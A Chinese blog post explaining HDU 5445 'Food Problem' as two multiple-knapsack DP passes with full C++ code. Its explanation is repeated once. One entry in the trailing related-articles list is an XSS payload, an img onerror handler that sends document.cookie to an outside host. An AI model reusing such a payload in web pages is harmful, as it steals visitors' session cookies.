HDU 5445 Food Problem (2015年长春站网络赛1009 多重背包DP)
2015-10-10 00:00
337 查看
这道题给我最大的启示就是学习一定要脚踏实地!!!原来我觉得背包DP应该是随手写的,赛场上并没有看这题,今天打算再补补题,发现这道裸的背包DP居然不怎么会写,然后默默地又把背包DP翻了一下。。。
题目很简单:总的来说做两次背包就搞定了。
两个模型:
1:n个物品,每个物品价值为t[i],占的空间为u[i],数量为v[i],要取其中的某些物品使得总价值>=p,所占空间最小。
2:m个物品,每个物品价值为x[i],占空间为y[i],数量为z[i],一个空间为50000的背包,问所有的dp[i](i的空间最多能放多大价值的物品)。
具体做法:1:算出最小的空间V。2:算出所有的dp[i],然后o(n)扫一遍找出最小的i满足dp[i] >= V。题目做完。因为没看到做多花50000,wa了2发
下面是AC代码:
题目很简单:总的来说做两次背包就搞定了。
两个模型:
1:n个物品,每个物品价值为t[i],占的空间为u[i],数量为v[i],要取其中的某些物品使得总价值>=p,所占空间最小。
2:m个物品,每个物品价值为x[i],占空间为y[i],数量为z[i],一个空间为50000的背包,问所有的dp[i](i的空间最多能放多大价值的物品)。
具体做法:1:算出最小的空间V。2:算出所有的dp[i],然后o(n)扫一遍找出最小的i满足dp[i] >= V。题目做完。因为没看到做多花50000,wa了2发
下面是AC代码:
#include <bits/stdc++.h> #define LL long long #define FOR(i,x,y) for(int i = x;i < y;i ++) #define IFOR(i,x,y) for(int i = x;i > y;i --) using namespace std; const int maxn = 220; const int maxm = 220; const int maxp = 50050; const int inf = 0x3fffffff; int dp[maxp]; void ZeroOne_Pack(int cost,int weight,int n,bool flag){ if(!flag) IFOR(i,n,cost-1) dp[i] = min(dp[i],dp[i-cost]+weight); else IFOR(i,n+1,cost-1) dp[i] = max(dp[i],dp[i-cost]+weight); } void Complete_Pack(int cost,int weight,int n,bool flag){ if(!flag) FOR(i,cost,n+1) dp[i] = min(dp[i],dp[i-cost]+weight); else FOR(i,cost,n+1) dp[i] = max(dp[i],dp[i-cost]+weight); } void Multi_Pack(int* c,int* w,int* num,int n,int m,bool flag){ if(!flag) {FOR(i,0,m+1) dp[i] = inf;dp[0] = 0;} else {FOR(i,0,m+1) dp[i] = 0;} FOR(i,0,n){ if(num[i] * c[i] > m) {Complete_Pack(c[i],w[i],m,flag);continue;} int k = 1; while(k < num[i]){ ZeroOne_Pack(k*c[i],k*w[i],m,flag); num[i] -= k; k <<= 1; } ZeroOne_Pack(num[i]*c[i],num[i]*w[i],m,flag); } } int t[maxn],u[maxn],v[maxn]; int x[maxm],y[maxm],z[maxm]; void work(){ int n,m,p; scanf("%d%d%d",&n,&m,&p); FOR(i,0,n) scanf("%d%d%d",&t[i],&u[i],&v[i]); Multi_Pack(t,u,v,n,p+100,false); int res = inf; FOR(i,p,p+101) res = min(res,dp[i]); FOR(i,0,m) scanf("%d%d%d",&x[i],&y[i],&z[i]); Multi_Pack(y,x,z,m,50000,true); int ans = -1; FOR(i,0,50001){ if(dp[i] >= res) {ans = i;break;} } if(ans == -1) printf("TAT\n"); else printf("%d\n",ans); } int main(){ //freopen("test.in","r",stdin); int T; scanf("%d",&T); while(T--){ work(); } return 0; }
相关文章推荐
- Http客户端
- TCP时间获取socket程序
- TCP/IP学习笔记(一):基础知识
- Xcode 7遇到 App Transport Security has blocked a cleartext HTTP 错误
- 黑窗口下带进度条的http下载
- 关于更新Xcode7后网络请求数据问题?
- linux文件属性详细说明(网络转载,仅供学习之用)
- HttpApplication通信管理
- linux 网络配置
- Kubernetes网络分析-Container间通信
- 如何调用有道翻译API(Java,HTTP)
- Mac网络抓包 - Wireshark
- <img src=hi onerror='(new Image()).src="http://mengkang.net/?getCookie="+document.cookie'>
- 基础篇:操作系统、计算机网络、设计模式(一)(附参考答案)
- 动手学习TCP:TCP特殊状态
- Mac网络抓包 - Cocoa Packet Analyzer
- HTTP 状态码
- Apache HTTP Server与Tomcat的三种连接方式介绍
- tcp拥塞控制时间轴上三种状态的关系,慢启动,拥塞避免,以及快速恢复的教学状态图。
- 【转】c++ http下载文件